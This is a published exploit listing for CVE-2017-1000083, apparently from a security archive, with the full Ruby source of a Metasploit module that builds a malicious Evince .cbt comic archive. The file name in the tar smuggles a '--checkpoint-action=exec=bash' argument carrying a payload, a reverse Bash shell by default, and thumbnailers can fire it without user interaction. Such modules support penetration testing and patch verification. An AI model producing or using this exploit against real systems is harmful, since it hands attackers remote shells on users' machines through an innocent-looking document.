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Evince CBT File Command Injection

Evince CBT File Command Injection
Posted Feb 7, 2019
Authored by Sebastian Krahmer, Brendan Coles, Matlink, Felix Wilhelm | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in Evince before version 3.24.1 when opening comic book `.cbt` files. Some file manager software, such as Nautilus and Atril, may allow automatic exploitation without user interaction due to thumbnailer preview functionality. Note that limited space is available for the payload.

tags | exploit
advisories | CVE-2017-1000083
SHA-256 | be7441cb5d0ca4f4495067990292385a52fbdd586a1d34cad46036dcc7576c4c

Evince CBT File Command Injection

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Evince CBT File Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Evince
before version 3.24.1 when opening comic book `.cbt` files.

Some file manager software, such as Nautilus and Atril, may allow
automatic exploitation without user interaction due to thumbnailer
preview functionality.

Note that limited space is available for the payload (<256 bytes).
Reverse Bash and Reverse Netcat payloads should be sufficiently small.

This module has been tested successfully on evince versions:

3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6;
3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Felix Wilhelm', # Discovery
'Sebastian Krahmer', # PoC
'Matlink', # Exploit
'bcoles' # Metasploit
],
'References' =>
[
['BID', '99597'],
['CVE', '2017-1000083'],
['EDB', '45824'],
['URL', 'https://seclists.org/oss-sec/2017/q3/128'],
['URL', 'https://bugzilla.gnome.org/show_bug.cgi?id=784630'],
['URL', 'https://bugzilla.suse.com/show_bug.cgi?id=1046856'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662'],
['URL', 'https://access.redhat.com/security/cve/cve-2017-1000083'],
['URL', 'https://security-tracker.debian.org/tracker/CVE-2017-1000083']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 215,
'BadChars' => "\x00\x0a\x0d\x22",
'DisableNops' => true
},
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse_bash',
'DisablePayloadHandler' => true
},
'Targets' => [[ 'Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => '2017-07-13',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [true, 'The cbt document file name', 'msf.cbt'])
])
end

def exploit
ext = %w[png jpg gif]
path = " --checkpoint-action=exec=bash -c \"#{payload.encoded};\".#{ext.sample}"

# Tar archive max path length is 256.
if path.length > 256
fail_with Failure::PayloadFailed, "Payload is too large (#{path.length}): Max path length is 256 characters"
end

# Tar archive max file name length is 100.
path.split('/').each do |fname|
if fname.length > 100
fail_with Failure::PayloadFailed, "File name too long (#{fname.length}): Max filename length is 100 characters"
end
end

# Create malicious tar archive
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file path, 0644 do |io|
io.write ''
end
# Pad file to 1+ MB to trigger tar checkpoint action
tar.add_file rand_text_alphanumeric(10..20), 0644 do |io|
io.write rand_text(1_000_000..1_100_000)
end
end
tarfile.rewind
cbt = tarfile.read

print_status "Writing file: #{datastore['FILENAME']} (#{cbt.length} bytes) ..."
file_create cbt
end
end
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